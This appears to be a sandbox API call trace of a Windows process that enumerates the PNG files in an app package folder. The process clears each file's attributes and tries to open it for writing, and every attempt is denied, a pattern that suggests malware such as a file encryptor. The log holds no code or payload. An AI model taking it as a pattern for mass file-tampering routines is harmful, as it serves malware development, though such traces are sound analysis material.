	[0091.914] wcscat (in: _Dest=0x5026b68, _Source="AppConnectorAppList.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png"
	[0091.914] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-24.png")) returned 0x20
	[0091.915] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.915] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-24.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.915] GetLastError () returned 0x5
	[0091.915] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-24.png", dwFileAttributes=0x20) returned 0
	[0091.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026b68) returned 1
	[0091.915] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-256.png", cAlternateFileName="")) returned 1
	[0091.915] wcscmp (_String1="AppConnectorAppList.targetsize-256.png", _String2=".") returned 1
	[0091.915] wcscmp (_String1="AppConnectorAppList.targetsize-256.png", _String2="..") returned 1
	[0091.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716ae0
	[0091.915] wcscpy (in: _Dest=0x4716ae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.915] wcscat (in: _Dest=0x4716ae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.915] wcscat (in: _Dest=0x4716ae0, _Source="AppConnectorAppList.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png"
	[0091.915] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-256.png")) returned 0x20
	[0091.915] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0091.915] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.916] GetLastError () returned 0x5
	[0091.916] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png", dwFileAttributes=0x20) returned 0
	[0091.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0091.916] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-32.png", cAlternateFileName="")) returned 1
	[0091.916] wcscmp (_String1="AppConnectorAppList.targetsize-32.png", _String2=".") returned 1
	[0091.916] wcscmp (_String1="AppConnectorAppList.targetsize-32.png", _String2="..") returned 1
	[0091.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028320
	[0091.917] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.917] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.917] wcscat (in: _Dest=0x5028320, _Source="AppConnectorAppList.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png"
	[0091.917] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-32.png")) returned 0x20
	[0091.919] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.919] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.919] GetLastError () returned 0x5
	[0091.919] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-32.png", dwFileAttributes=0x20) returned 0
	[0091.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0091.919] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-40.png", cAlternateFileName="")) returned 1
	[0091.919] wcscmp (_String1="AppConnectorAppList.targetsize-40.png", _String2=".") returned 1
	[0091.919] wcscmp (_String1="AppConnectorAppList.targetsize-40.png", _String2="..") returned 1
	[0091.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5026a60
	[0091.919] wcscpy (in: _Dest=0x5026a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.919] wcscat (in: _Dest=0x5026a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.919] wcscat (in: _Dest=0x5026a60, _Source="AppConnectorAppList.targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png"
	[0091.920] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-40.png")) returned 0x20
	[0091.920] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.920] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.920] GetLastError () returned 0x5
	[0091.920] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0091.921] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026a60) returned 1
	[0091.921] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-48.png", cAlternateFileName="")) returned 1
	[0091.921] wcscmp (_String1="AppConnectorAppList.targetsize-48.png", _String2=".") returned 1
	[0091.921] wcscmp (_String1="AppConnectorAppList.targetsize-48.png", _String2="..") returned 1
	[0091.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028638
	[0091.921] wcscpy (in: _Dest=0x5028638, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.921] wcscat (in: _Dest=0x5028638, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.921] wcscat (in: _Dest=0x5028638, _Source="AppConnectorAppList.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png"
	[0091.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-48.png")) returned 0x20
	[0091.921] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.921] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.921] GetLastError () returned 0x5
	[0091.921] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0091.921] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028638) returned 1
	[0091.922] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-64.png", cAlternateFileName="")) returned 1
	[0091.922] wcscmp (_String1="AppConnectorAppList.targetsize-64.png", _String2=".") returned 1
	[0091.922] wcscmp (_String1="AppConnectorAppList.targetsize-64.png", _String2="..") returned 1
	[0091.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x50274b0
	[0091.922] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.922] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.922] wcscat (in: _Dest=0x50274b0, _Source="AppConnectorAppList.targetsize-64.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png"
	[0091.922] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-64.png")) returned 0x20
	[0091.922] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.922] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-64.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.924] GetLastError () returned 0x5
	[0091.924] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-64.png", dwFileAttributes=0x20) returned 0
	[0091.924] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.924] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-80.png", cAlternateFileName="")) returned 1
	[0091.924] wcscmp (_String1="AppConnectorAppList.targetsize-80.png", _String2=".") returned 1
	[0091.924] wcscmp (_String1="AppConnectorAppList.targetsize-80.png", _String2="..") returned 1
	[0091.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x50274b0
	[0091.925] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.925] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.925] wcscat (in: _Dest=0x50274b0, _Source="AppConnectorAppList.targetsize-80.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png"
	[0091.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-80.png")) returned 0x20
	[0091.929] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.929] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.929] GetLastError () returned 0x5
	[0091.929] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-80.png", dwFileAttributes=0x20) returned 0
	[0091.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.929] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-96.png", cAlternateFileName="")) returned 1
	[0091.929] wcscmp (_String1="AppConnectorAppList.targetsize-96.png", _String2=".") returned 1
	[0091.929] wcscmp (_String1="AppConnectorAppList.targetsize-96.png", _String2="..") returned 1
	[0091.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028008
	[0091.929] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.929] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.929] wcscat (in: _Dest=0x5028008, _Source="AppConnectorAppList.targetsize-96.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png"
	[0091.929] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-96.png")) returned 0x20
	[0091.929] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.929] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-96.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.930] GetLastError () returned 0x5
	[0091.930] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-96.png", dwFileAttributes=0x20) returned 0
	[0091.930] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.930] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.scale-100.png", cAlternateFileName="")) returned 1
	[0091.930] wcscmp (_String1="logo.scale-100.png", _String2=".") returned 1
	[0091.930] wcscmp (_String1="logo.scale-100.png", _String2="..") returned 1
	[0091.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33390
	[0091.930] wcscpy (in: _Dest=0x4e33390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.930] wcscat (in: _Dest=0x4e33390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
